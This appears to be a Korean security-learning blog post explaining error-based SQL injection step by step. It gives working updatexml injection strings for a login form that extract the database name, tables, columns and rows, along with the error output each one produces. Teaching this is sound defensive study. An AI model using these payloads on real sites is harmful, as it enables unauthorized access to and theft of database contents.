1. Error Based SQLi
1) 정의
- SQL 쿼리에 고의적으로 오류를 발생시켜, 출력되는 에러의 내용을 통해 필요한 정보를 찾아낸다.
- 기본적으로 '(싱글 쿼테이션) 또는 ''(더블 쿼테이션)을 이용하며, Group BY와 HAVING 등을 이용하기도 한다.
2) 공격방법
Error Based SQLi는여러가지 정보들을 먼저 추출한는 공격을 수행한 뒤에 데이터를 수집해야한다.
순서에 따라서 다음과 같이 설명한다.
1) 취약점 확인
공격 시 삽입 구문
- '
출력되는 에러
- Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
- 에러가 출력되는지 확인하기 위해 ‘를 삽입하여 취약점을 확인한다.
- 위와 같은 에러가 출력되면 Error Based SQLi 취약점이 존재한다.
2) Error 출력 활용 함수 선정
- 문법이 맞지 않는 SQL 쿼리문을 삽입하면 컴파일이 불가하기 때문에 문법적에러가 아닌 논리적 에러를 포함한 쿼리문을 삽입해야한다.
- 이런 경우 Error Based SQLi에 자주 사용되는 updatexml과 같은 함수를 사용한다.
- Updatexml 함수는 지정된 xml_target에 xpath_expr의 표현식과 일치하는 부분이 존재하면 xml_target을 new_xml로 변경하는 함수이다.
- 1' and updatexml(null,concat(0x3a,(select 'john')),null) and '1'='1
- 로그인 창에 위 구문을 입력하면 다음과 같이 에러가 출력된다.
- Uncaught mysqli_sql_exception: XPATH syntax error: ':john' in /var/www/html/login_check.php
- 함수를 이용하여 공격했을 때 XPATH syntax error가 출력된다.
- 해당 함수로 공격이 가능한 것을 확인한다.
3) 데이터베이스 이름 확인
- 함수 선정 후 공격을 통해서 출력되는 에러에 Database이름이 출력 되도록 한다
- 공격 시 삽입 구문: 1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1
- 로그인 창에 위 구문을 입력하면 다음과 같이 에러가 출력된다.
- 출력되는 에러: Uncaught mysqli_sql_exception: XPATH syntax error: ':MEMBER' in /var/www/html/login_check.php
공격 시 삽입 구문은 SELECT문에 database이름이 출력되도록 구문을 만든다.
공격 후 출력되는 에러에 MEMBER라는 database이름이 출력된다.
4) 테이블 이름 확인
- 추출한 Database이름을 바탕으로 information_schema를 이용하여 테이블 이름을 추출한다.
- 공격 시 삽입 구문: 1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables WHERE table_schema = 'MEMBER' limit 1, 1)),null) and '1'='1
- 출력되는 에러: Uncaught mysqli_sql_exception: XPATH syntax error: ':ZIPCODE' in /var/www/html/login_check.php
- 공격 시 삽입 구문은 SELECT문에 table_name을 출력되게 한다.
- 테이블은 기본적으로 row로 정렬되어있어서 limit을 넣어주지 않으면 에러에 데이터가 출력되지 않는다.
- Limit 0,1부터 1,1 2,1 순으로 데이터가 출력되지 않을 때까지 테이블 이름을 출력한다.
- 공격 후 출력되는 에러에는 테이블 이름이 출력된다.
5) 컬럼 이름 확인
- 추출한 Database와 table을 바탕으로 information_schema를 이용하여 컬럼 이름을 추출한다.
- 공격 시 삽입 구문: 1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns WHERE table_name = 'ZIPCODE' limit 0, 1)),null) and '1'='1
- 출력되는 에러: Uncaught mysqli_sql_exception: XPATH syntax error: ':ZIP_NO' in /var/www/html/login_check.php
- 공격 시 삽입 구문은 SELECT문에 컬럼 이름이 출력되게 한다.
- 컬럼도 limit을 넣어 0,1 1,1 2,1 순으로 데이터가 출력되지 않을 때까지 컬럼 이름을 출력한다.
- 공격 후 출력되는 에러에는 컬럼 이름이 출력된다.
6) 데이터 추출
- 수집한 데이터들을 이용해 필요한 데이터를 추출한다.
- 공격 시 삽입 구문: 1' and updatexml(null,concat(0x3a,(select ZIP_NO from ZIPCODE limit 0,1)),null) and '1'='1
- 출력되는 에러: Uncaught mysqli_sql_exception: XPATH syntax error: ':25627' in /var/www/html/login_check.php
- 공격 시 삽입 구문은 SELECT문에 추출하고 싶은 데이터가 출력되게 한다.
- 데이터도 limit을 넣어 0,1 1,1 2,1 순으로 데이터가 출력되지 않을 때까지 데이터를 출력한다.
- 공격 후 출력되는 에러에는 데이터가 출력된다.
'Web Hacking' 카테고리의 다른 글
CSRF (0) | 2022.12.27 |
---|---|
XSS (0) | 2022.12.16 |
Blind SQLi (0) | 2022.12.05 |
UNION Based SQLi (0) | 2022.11.21 |
SQL Injection(로그인 인증 우회) (0) | 2022.10.27 |